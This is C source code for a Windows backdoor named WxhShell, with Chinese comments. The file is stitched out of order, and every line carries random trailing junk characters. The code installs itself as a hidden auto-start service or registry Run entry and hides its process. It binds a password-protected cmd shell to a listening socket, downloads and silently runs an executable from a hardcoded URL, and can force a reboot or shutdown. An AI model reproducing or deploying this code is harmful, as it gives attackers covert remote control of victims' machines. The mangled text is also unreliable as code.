    if(Boot(SHUTDOWN)) oNtoqYwH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fd4C8>*7G  
    else { #1/~eIEY  
    closesocket(wsh); F#>00b{Q  
    ExitThread(0); f"KrPx!^b  
    } \XPGA uEo  
    break; <^\rv42'(2  
    } j)2I+[aoB  
  // 获取shell Bb:C^CHIQm  
  case 's': { qa-FLUkIk!  
    CmdShell(wsh); r=&,2meo  
    closesocket(wsh); qXg&E}]:=  
    ExitThread(0); 'S1u@p,q  
    break; .07`nIs"  
  } ~N/r;omVc  
  // 退出 mUbm3JIjJ  
  case 'x': { 4;I\% qes  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); | DV?5>>  
    CloseIt(wsh); ~W[I  
    break; ~L"$(^/  
    } $'%GB $.  
  // 离开 ] \M+ju  
  case 'q': { @uH!n~QV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y-db CYMc  
    closesocket(wsh); {$,\Qg  
    WSACleanup(); t|$ jgM  
    exit(1); $8)XN-%(  
    break; >Jmla~A  
        } c 3O/#*  
  } F?|Efpzow?  
  } *m}8L%<HT  
X>Vc4n<}  
  // 提示信息 =w! ik9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~x^y5[5{  
} MzD1sWmK  
  } a(|6)w-  
%(1O jfZc  
  return; ~<?Zj  
} TIKkS*$  
*3H=t$1G}  
// shell模块句柄 _Xt/U>N  
int CmdShell(SOCKET sock) 16zReI(  
{ V9,<>  
STARTUPINFO si; 8i154#l+\  
ZeroMemory(&si,sizeof(si)); b2OwLt9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b)<WC$"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SHX`/  
PROCESS_INFORMATION ProcessInfo; ~=*o  
char cmdline[]="cmd"; 3uocAmY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z.Ic?Wz7  
  return 0; bGCC?}\  
} ==OUd6e}  
/)6T>/  
// 自身启动模式 &t[[4+Qt  
int StartFromService(void) `9co7[Z  
{ nbF<K?  
typedef struct }6@E3z]AMO  
{ hBjU(}\3  
  DWORD ExitStatus; 6u0>3-[6OD  
  DWORD PebBaseAddress; (dq_ ,LI  
  DWORD AffinityMask; -Cs( 3[  
  DWORD BasePriority; nzC *mPX8  
  ULONG UniqueProcessId; uQIPnd(V  
  ULONG InheritedFromUniqueProcessId; Jy)=TJ!y  
}   PROCESS_BASIC_INFORMATION; w'K7$F51  
CefFUqo4  
PROCNTQSIP NtQueryInformationProcess; TQ]gvi |m  
+@QrGY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gx.\H3y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !0W(f.A{K  
`NN P<z+\  
  HANDLE             hProcess; 8Yh'/,o=L#  
  PROCESS_BASIC_INFORMATION pbi; [)Nt;|U  
cXPpxRXBD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .; F<X \_  
  if(NULL == hInst ) return 0; lo$G*LWu:  
-qc'J<*^4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x/DV>Nfn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8ttJ\m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]q1w@)]n}  
J"C9z{[Z&  
  if (!NtQueryInformationProcess) return 0; AioW*`[WjA  
ij$NTY=u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ubM1Qr  
  if(!hProcess) return 0; ZaYiby@Ci  
g8Ex$,\,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &<N8d(  
KnkmGy  
  CloseHandle(hProcess); ^ Kz ?SO  
I?'*vAW<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 98Vv K?  
if(hProcess==NULL) return 0; p(n0(}eVC'  
~6f/jCluR%  
HMODULE hMod; G'\[dwD,u  
char procName[255]; yv4x.cfI2W  
unsigned long cbNeeded; FBXktSg  
)/jDt dI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gy}3ZA*F  
cy8>M))c  
  CloseHandle(hProcess); 8J3#(aBm  
\p(S4?I7  
if(strstr(procName,"services")) return 1; // 以服务启动 !, BJO3&  
d_25]B(  
  return 0; // 注册表启动 $`|h F[tv  
} C ~h#pAh  
Qn$'bK2V  
// 主模块 \6wltTW]#  
int StartWxhshell(LPSTR lpCmdLine) @rYZ0`E9  
{ +j 9+~  
  SOCKET wsl; N|yA]dg[  
BOOL val=TRUE; VeWh9:"bJ  
  int port=0; *:CTIV5N0  
  struct sockaddr_in door; !igPyhi,hl  
@&m [w'tn  
  if(wscfg.ws_autoins) Install(); NPH(v`  
FEk9a^Xyx  
port=atoi(lpCmdLine); Xex7Lr&  
X%YZQc9  
if(port<=0) port=wscfg.ws_port; CH4Nz'X2  
}ppApJT  
  WSADATA data; ! v![K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b$'%)\('g  
5;XC!Gz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %$&eC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?ES{t4"  
  door.sin_family = AF_INET; >V^8<^?G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tv|'6P  
  door.sin_port = htons(port); }ekNZNcuM  
k M /:n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0kUhz\"R:q  
closesocket(wsl); &`m.]RV  
return 1; 'l/l]26rO4  
} &MX&5@ Vu  
l-XfUjJ  
  if(listen(wsl,2) == INVALID_SOCKET) { Qr R+3kxM  
closesocket(wsl); %bP+P(vZ  
return 1; &b@_ah+f  
} ;j T{< Y  
  Wxhshell(wsl); 12 )  
  WSACleanup(); rPB Ju0D"  
t%mi#Gh(  
return 0; MEI&]qI  
RhJ3>DL  
} &3iI\s[  
W>' DQB  
// 以NT服务方式启动 XI Mh<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 570ja7C:  
{ vVBWhY]  
DWORD   status = 0; .Yk}iHcW.  
  DWORD   specificError = 0xfffffff; 4M"'B A<  
Ue9d0#9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; glch06  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bD v& ;Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I]HYqI  
  serviceStatus.dwWin32ExitCode     = 0; (1=@.srAzK  
  serviceStatus.dwServiceSpecificExitCode = 0; |Gq3pL<jkC  
  serviceStatus.dwCheckPoint       = 0; _oZ3n2v}@  
  serviceStatus.dwWaitHint       = 0; !IJ YaQ6z  
r`ftflNh(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n 'ZPB  
  if (hServiceStatusHandle==0) return; P=}l.R*1G  
i{}m 8K)  
status = GetLastError(); rv{Wti[  
  if (status!=NO_ERROR) s {*rBX8N  
{ -n@,r%`UK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t,Tq3zB  
    serviceStatus.dwCheckPoint       = 0; =>S[Dh  
    serviceStatus.dwWaitHint       = 0; BHpay  
    serviceStatus.dwWin32ExitCode     = status; &4wSX{c/P  
    serviceStatus.dwServiceSpecificExitCode = specificError; +sx(q@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &(< Gr0  
    return; Mprn7=I{Tg  
  } #: EhGlq8  
GfgHFv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &x (D%+  
  serviceStatus.dwCheckPoint       = 0; k7JC~D E#  
  serviceStatus.dwWaitHint       = 0; "S@]yL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \V~B+e  
} XFFm 'W6@  
+v%+E{F$+  
// 处理NT服务事件,比如:启动、停止 .5HD i-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zp/P/97p  
{ l/?bXNt  
switch(fdwControl) Zc";R!At  
{ Nl4uQ_"  
case SERVICE_CONTROL_STOP: .D7Gog3^<  
  serviceStatus.dwWin32ExitCode = 0; #}6~>A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7yG%E  
  serviceStatus.dwCheckPoint   = 0; rXSw@pqZ&  
  serviceStatus.dwWaitHint     = 0; hB 'rkjt  
  { k'v+/6 Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mb'{@  
  } jz3f{~   
  return; 3 JlM{N6+  
case SERVICE_CONTROL_PAUSE: pl}W|kW}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cf 202pF3y  
  break; 0}Kyj"-3  
case SERVICE_CONTROL_CONTINUE: 5-4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v%#@.D!)  
  break; )"Ujx`]4r  
case SERVICE_CONTROL_INTERROGATE: f !7fz~&Sh  
  break; ,jnaa(n  
}; V%*91t_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :MYLap&L&  
}  zW?=^bE  
~- aUw}U  
// 标准应用程序主函数 2*W|s7cc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uKY1AC__  
{ {h|kx/4{m  
CT\rx>[J.6  
// 获取操作系统版本 s4Jy96<  
OsIsNt=GetOsVer(); W T @XHwt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4U$M0 =  
a U<+ `  
  // 从命令行安装 \"I418T K  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9qq6P!  
0W 1bZPM  
  // 下载执行文件 ,-n_( U  
if(wscfg.ws_downexe) { e[Z-&'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [IyC}lSW^-  
  WinExec(wscfg.ws_filenam,SW_HIDE); aYtW!+#  
} ^c}kVQ\g3  
 >YdLB@  
if(!OsIsNt) { [pt U}  
// 如果时win9x,隐藏进程并且设置为注册表启动 2L.6!THG  
HideProc(); y`z?lmV)xM  
StartWxhshell(lpCmdLine); B_@p@6z  
} \^cXmyQ<%  
else !(S.7#-r  
  if(StartFromService()) oh:.iL}j  
  // 以服务方式启动 Nbf >Y  
  StartServiceCtrlDispatcher(DispatchTable); v/7^v}[<  
else fDXTedrG/  
  // 普通方式启动 (j%"iQD  
  StartWxhshell(lpCmdLine); yJw.z#bB#  
sVlQ5M oo(  
return 0; #|V)>")  
} H.Z<T{y;  
1Si$Q  
-LFk7a  
Yi`DRkp]3  
=========================================== do.XMdit  
|*~SR.[`  
(76tYt~I=  
nGDY::nUE  
&`g^b^i  
H-% B<7  
" WxJaE;`Ige  
_GoFwVO  
#include <stdio.h> T0o0_R  
#include <string.h> hBDmC_\~  
#include <windows.h> !%D;H~mQ  
#include <winsock2.h> $m-@ICG#  
#include <winsvc.h> fndH]Yp  
#include <urlmon.h> gd0a,_`M  
\Jwc[R&x  
#pragma comment (lib, "Ws2_32.lib") Co/04F.  
#pragma comment (lib, "urlmon.lib") 7 $dibTER  
[.;I}  
#define MAX_USER   100 // 最大客户端连接数 #8WHIDS>  
#define BUF_SOCK   200 // sock buffer 2p*!up(  
#define KEY_BUFF   255 // 输入 buffer ACEVd! q  
(F*y27_u  
#define REBOOT     0   // 重启 (s51GRC  
#define SHUTDOWN   1   // 关机 <`BDN  
;6=*E'  
#define DEF_PORT   5000 // 监听端口 |/u,6`  
5^{2 g^jH6  
#define REG_LEN     16   // 注册表键长度 ;|,*zD  
#define SVC_LEN     80   // NT服务名长度 !W b Q9o  
6anH#=(  
// 从dll定义API y=}o|/5"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Q*,~ z~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OL.{lKJ3DV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cVaGgP}\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0c&DSL}6  
Gl4f:`  
// wxhshell配置信息 T|--ZRYn  
struct WSCFG { i@=(Y~tD`  
  int ws_port;         // 监听端口 Xk:_aJ  
  char ws_passstr[REG_LEN]; // 口令 a!&<jM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0|mC k  
  char ws_regname[REG_LEN]; // 注册表键名 <I{Yyl^  
  char ws_svcname[REG_LEN]; // 服务名 mW3 IR3 b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =)! ~t/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !^aJS'aq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cmp@Ow"c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vzh\ 1cF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g]?QV2bX6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  cj|Urt  
EiPOY'  
}; C jz(-018  
nKch:g  
// default Wxhshell configuration ?0d#O_la3  
struct WSCFG wscfg={DEF_PORT, 8&y#LeM1TT  
    "xuhuanlingzhe", W#L/|K!S  
    1, T9YrB  
    "Wxhshell", ( n!8>>+1C  
    "Wxhshell", 2}9M7Z",2  
            "WxhShell Service", As|e=ut(  
    "Wrsky Windows CmdShell Service", i@ehD@.dH  
    "Please Input Your Password: ",  ^5R2~  
  1, R E9 `T  
  "http://www.wrsky.com/wxhshell.exe", 3g3Znb  
  "Wxhshell.exe" Ee{Y1W  
    }; rDLgQ{Sea  
@,q<CF@Y  
// 消息定义模块 >%c>R'~h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l(Uwci  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r rs0|=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pvdCiYo1r  
char *msg_ws_ext="\n\rExit."; 50Ov>(f@7  
char *msg_ws_end="\n\rQuit."; /!pJ"@  
char *msg_ws_boot="\n\rReboot..."; \[]4rXZN0  
char *msg_ws_poff="\n\rShutdown..."; N}'2GBqfU4  
char *msg_ws_down="\n\rSave to "; I$ ?.9&.&  
=<r1sqf  
char *msg_ws_err="\n\rErr!"; XJA];9^  
char *msg_ws_ok="\n\rOK!"; oUL4l=dj.  
rotu#?B  
char ExeFile[MAX_PATH]; CE|rn8MB  
int nUser = 0; Lr*\LP6jx3  
HANDLE handles[MAX_USER]; [$`%ve  
int OsIsNt; }k @S mO8  
~6#O5plKc  
SERVICE_STATUS       serviceStatus; E_#?;l>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rs0Wy  
lB   
// 函数声明 RVh{wg  
int Install(void); \$xj>b;  
int Uninstall(void); AK&=/[U>  
int DownloadFile(char *sURL, SOCKET wsh); 6P0 2=  
int Boot(int flag); -o@L"C>   
void HideProc(void); Cr YPcvd6  
int GetOsVer(void); ?DKY;:dZF  
int Wxhshell(SOCKET wsl); xk s M e  
void TalkWithClient(void *cs); 2k^'}7G%  
int CmdShell(SOCKET sock); |Zdl[|kX  
int StartFromService(void); }qBmt>#  
int StartWxhshell(LPSTR lpCmdLine); 5Rae?* XH  
yVyh\u\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pL ,l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yKC1h`2  
aqv'c j>  
// 数据结构和表定义 [=^Wj`;  
SERVICE_TABLE_ENTRY DispatchTable[] = Yb%#\.M/y  
{ vU9:` @beu  
{wscfg.ws_svcname, NTServiceMain}, L fZF  
{NULL, NULL} U,Fyi6{~  
}; ^`bMFsP  
c-ql  
// 自我安装 EvF[h:C2  
int Install(void) v4, Dt  
{ *$@u`nM  
  char svExeFile[MAX_PATH]; A}(o1wuw  
  HKEY key; H`rd bE  
  strcpy(svExeFile,ExeFile); (btm g<WT"  
H4<Q}([w  
// 如果是win9x系统,修改注册表设为自启动 V+t's*9o3  
if(!OsIsNt) { l\ Vr D2j8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $t0JfDd6Ky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r'MA$PiS'  
  RegCloseKey(key); _Sl3)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &mm!UJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QSOG(}w  
  RegCloseKey(key); 9A *gW j  
  return 0; ;?%_jB$P  
    } 4B)%I`  
  } [OR"9W&  
} 6!wk5#  
else { R1(3c*0f  
E@4/<;eKK  
// 如果是NT以上系统,安装为系统服务 .sD=k3d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~nApRC)0  
if (schSCManager!=0) $CZ'[`+  
{ \r"gqv)^  
  SC_HANDLE schService = CreateService TQ=HFs ~  
  ( 0B: v0 R  
  schSCManager, w^N QLV S  
  wscfg.ws_svcname, ~7m+N)5  
  wscfg.ws_svcdisp, "Cs36k  
  SERVICE_ALL_ACCESS, S q{@4F}d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -_XTy!I  
  SERVICE_AUTO_START, /y(0GP4A  
  SERVICE_ERROR_NORMAL, q}W})  
  svExeFile, HEw&'  
  NULL, ~ 7<M6F  
  NULL, I+ Y{_yw"f  
  NULL, BAtjYPX'w  
  NULL, L+}<gQJ(  
  NULL LL==2KNUo  
  ); w/*m_O\!  
  if (schService!=0) 5GGO:  
  { 1x%B`d  
  CloseServiceHandle(schService); 7mE9Zo1  
  CloseServiceHandle(schSCManager); 8{_lB#<[E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gU1Pb]]  
  strcat(svExeFile,wscfg.ws_svcname); L @Q+HN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8[D"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qw{`?1[+  
  RegCloseKey(key); x_r*<?OZ  
  return 0; hw(\3h()  
    } lnRL^ }  
  } -!}3bl*(7  
  CloseServiceHandle(schSCManager); n#@Qd!uzM  
} ;%;||?'v  
} F~eY'~&H}  
'.k'*=cq0  
return 1; ^b.#4i (v  
} 6[S IDOp*^  
"lSh 4X  
// 自我卸载 bc3`x1)\^  
int Uninstall(void) Ej1 <T,w_  
{ dFy GI?  
  HKEY key; qHvUBx0  
?'_6M4UKa  
if(!OsIsNt) { b'Km-'MtH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "p7nngn~  
  RegDeleteValue(key,wscfg.ws_regname); U_ l9CZ  
  RegCloseKey(key); YoBe!-E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v*%52_   
  RegDeleteValue(key,wscfg.ws_regname); ESYF4-d+  
  RegCloseKey(key); gd*2*o$g(  
  return 0; :2K@{~8r  
  } ]qxl^Himq  
} Dp!91NgB p  
} 'C]Y h."u  
else { )]s<Czm%  
~9E_L?TW*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D~#%^a+Aq_  
if (schSCManager!=0) [:cvy[}v@  
{ =E<H_cUS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }pIn3B)  
  if (schService!=0) kDI?v6y5  
  { !?=U{^|7y  
  if(DeleteService(schService)!=0) { _^NyLI%  
  CloseServiceHandle(schService); t"Ah]sD  
  CloseServiceHandle(schSCManager); cv G*p||  
  return 0; 6)7cw8^  
  } B(ktIy  
  CloseServiceHandle(schService); @&Bh!_TWc  
  } E&eY79  
  CloseServiceHandle(schSCManager); 0^sY>N"  
} f 9Kt>2IN  
} %S'+x[ 4W  
Fj]06~u  
return 1; q=Vh"]0g  
} 0Qq<h;8xEc  
.ESvMK~x  
// 从指定url下载文件 >0W P:-\*  
int DownloadFile(char *sURL, SOCKET wsh) %qiVbm0  
{ E2d'P  
  HRESULT hr; 8'%m!  
char seps[]= "/"; G!;PV^6x  
char *token; ],k~t5+  
char *file; 7eAV2.  
char myURL[MAX_PATH]; se`Eez}  
char myFILE[MAX_PATH]; ~> Q9  
,Gg;:)k\  
strcpy(myURL,sURL); t ^[fu,  
  token=strtok(myURL,seps); DA.k8M  
  while(token!=NULL) W\NC3]  
  { N2"B\  
    file=token; KmTFJ,iM  
  token=strtok(NULL,seps); w"wW0uE^  
  } b^Re947{g  
gXJBb+P   
GetCurrentDirectory(MAX_PATH,myFILE); @uldD"MJ<]  
strcat(myFILE, "\\"); e6Y>Bk   
strcat(myFILE, file); t>/x-{bH\  
  send(wsh,myFILE,strlen(myFILE),0); r PK.Q)g  
send(wsh,"...",3,0); !*Eu(abD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \yC/OLXq  
  if(hr==S_OK) 0o"aSCq8t  
return 0; #79[Qtkrhm  
else &29jg_'W  
return 1; | @$I<  
ao"2kqa)r  
} 6Eu(C]nC(  
PXkpttIE]M  
// 系统电源模块 )Wr_*>xj  
int Boot(int flag) !Yv_V]u=  
{ UaF~[toX  
  HANDLE hToken; }`g-eF >p  
  TOKEN_PRIVILEGES tkp; mXOI"B9Sq  
]i$0s  
  if(OsIsNt) { t`+A;%=K]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f|FS%]fCxk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t4[q :[1  
    tkp.PrivilegeCount = 1; HyVV,q^E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ws+'*7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^`'\eEa  
if(flag==REBOOT) {  ;Pt8\X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5P%#5Yr2  
  return 0; d#a/J.Z$A  
} ~x \uZ^:  
else { >&KH!:OX|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q(nTL WW  
  return 0; q.`< q  
} G rp{ .  
  } C2"^YRN,  
  else { l|?tqCT ^h  
if(flag==REBOOT) { H3<tsK=:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1+uZF  
  return 0; +w^,!gA&  
} R ~kO5jpW  
else { jts0ZFHc-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iX]OF.:   
  return 0; J<QZ)<T,&  
} TA-2{=8  
} :LY.C<8  
JM|HnyI  
return 1; jJ$B^Y"4  
} !SW0iq[7j  
QQ.?A(U7  
// win9x进程隐藏模块 \+%~7Bi]z  
void HideProc(void) ~ p? ArZb  
{ XNWtX-[ ^@  
gZ$ 8Y7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~3?-l/$  
  if ( hKernel != NULL ) V%r`v%ktF  
  { /DHgwpJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hbH~Ya=+S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <v|"eq}  
    FreeLibrary(hKernel); ,bl }@0A  
  } ]yf?i350  
kk-<+R2  
return; RTcxZ/\" #  
} dDpAS#'s\  
w Wb>V&3  
// 获取操作系统版本 a+cMXMf  
int GetOsVer(void) .cHgYHa  
{ k i<X^^  
  OSVERSIONINFO winfo; 9f( X7kt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [g/D<g5O  
  GetVersionEx(&winfo); YQ G<Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i"0Bc{cQ  
  return 1; FtIcA"^N  
  else "kyCY9) %  
  return 0; wS*r<zj  
} O@T,!_Zf  
q>2bkcGY#  
// 客户端句柄模块 Z)`)9]*  
int Wxhshell(SOCKET wsl) Kq3c Kp4  
{ xR0T' @q  
  SOCKET wsh; I/Vw2  
  struct sockaddr_in client; t^~vi'bB  
  DWORD myID;  @./h$]6  
H~+A6g]T  
  while(nUser<MAX_USER) >o?v[:u*  
{ 4f[%Bb  
  int nSize=sizeof(client); 1l$Ei,9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >9&31wA_  
  if(wsh==INVALID_SOCKET) return 1; 1y'Y+1.<  
e Wux  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^~YT<cJ1h  
if(handles[nUser]==0) wsWFD xR  
  closesocket(wsh); {=ox1+d  
else W7qh1}_%  
  nUser++; =9jK\ T^  
  } O:wG/et  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &>-j4,M  
Q M0B6F  
  return 0; |:1{B1sqA  
} .xsfq*3e5  
7y'uZAF  
// 关闭 socket ^<CVQ8R7  
void CloseIt(SOCKET wsh) `pfIgryns  
{ *U[yeE].  
closesocket(wsh); @Dh2@2`>  
nUser--; '>"{yi-  
ExitThread(0); /sA&}kX}E  
} UY< PiP  
%qoS(iO`h  
// 客户端请求句柄 1hG#  
void TalkWithClient(void *cs)  z% wh|q  
{ |sZqqgZ-  
S\A/*!%~y  
  SOCKET wsh=(SOCKET)cs; X2|~(*  
  char pwd[SVC_LEN]; U g"W6`  
  char cmd[KEY_BUFF]; (I >Ch)'  
char chr[1]; R/hI XO  
int i,j; ~lw9sm*2v2  
*S.U8;*Xj  
  while (nUser < MAX_USER) { &zEQbHK6  
Du+W7]yCl  
if(wscfg.ws_passstr) { %\m"Yi]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;,&cWz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3v8LzS3@  
  //ZeroMemory(pwd,KEY_BUFF); vgwpuRL5b  
      i=0; n3a.)tcC  
  while(i<SVC_LEN) { _ %nz-I  
RuPnWx!  
  // 设置超时 .Kb3VNgwvm  
  fd_set FdRead; HuevDy4  
  struct timeval TimeOut; `L'g<VK;  
  FD_ZERO(&FdRead); G4)~p!TSQ  
  FD_SET(wsh,&FdRead); 6X \g7bg  
  TimeOut.tv_sec=8; W;vNmg}mn  
  TimeOut.tv_usec=0; = s&Rk~2b/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nuce(R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X94a  
mJSfn"b}K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :$WO"HfMSn  
  pwd=chr[0]; 'FErk~}/4s  
  if(chr[0]==0xd || chr[0]==0xa) { %fj5 ;}E.  
  pwd=0; 6cH8Jr _  
  break; ORExI.<`W  
  } rW{!8FhI  
  i++; 0pZvW  
    } VXeO}>2S  
EgjJywNhd2  
  // 如果是非法用户,关闭 socket QUrPV[JQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y)G-6sZ/  
} -> cL)  
>P/36'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (\AN0_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); --5F*a{R|  
#EPC]jFk  
while(1) { -YA,Stc-  
0fsVbC  
  ZeroMemory(cmd,KEY_BUFF);  - vvyG  
\Vyys[MMY8  
      // 自动支持客户端 telnet标准   #<*Vc6pC  
  j=0; AC,RS 7  
  while(j<KEY_BUFF) { -o ).<&#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FdU]!GO- X  
  cmd[j]=chr[0]; ^hIdmTf6  
  if(chr[0]==0xa || chr[0]==0xd) { Z8|<%1Kge  
  cmd[j]=0; }v ZOPTP  
  break; *1)>He$qL  
  } GJ ^c^`  
  j++; WK{`_c U^  
    } 51|ky-  
~>u .d  
  // 下载文件 [YDSS/  
  if(strstr(cmd,"http://")) { s3>a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kKX' Y+  
  if(DownloadFile(cmd,wsh)) 6nx\|F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zHJCXTM  
  else =X$ieXq|  
